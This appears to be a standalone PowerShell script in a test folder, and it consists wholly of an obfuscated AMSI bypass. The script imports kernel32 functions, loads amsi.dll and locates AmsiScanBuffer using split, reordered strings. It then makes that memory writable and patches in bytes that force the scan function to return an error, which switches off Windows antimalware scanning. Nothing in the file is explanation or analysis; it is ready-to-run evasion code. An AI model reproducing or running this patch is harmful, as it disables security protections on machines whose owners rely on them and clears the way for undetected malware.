test/M.ps1

${WIN`32} = 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }'

Add-Type ${WIN`32};

${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
${p} = 0
[Win32]::VirtualProtect(${Ad`dre`SS}, [uint32]5, 0x40, [ref]${p})
${P`ATCH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${PaT`Ch}, 0, ${addr`E`ss}, 6)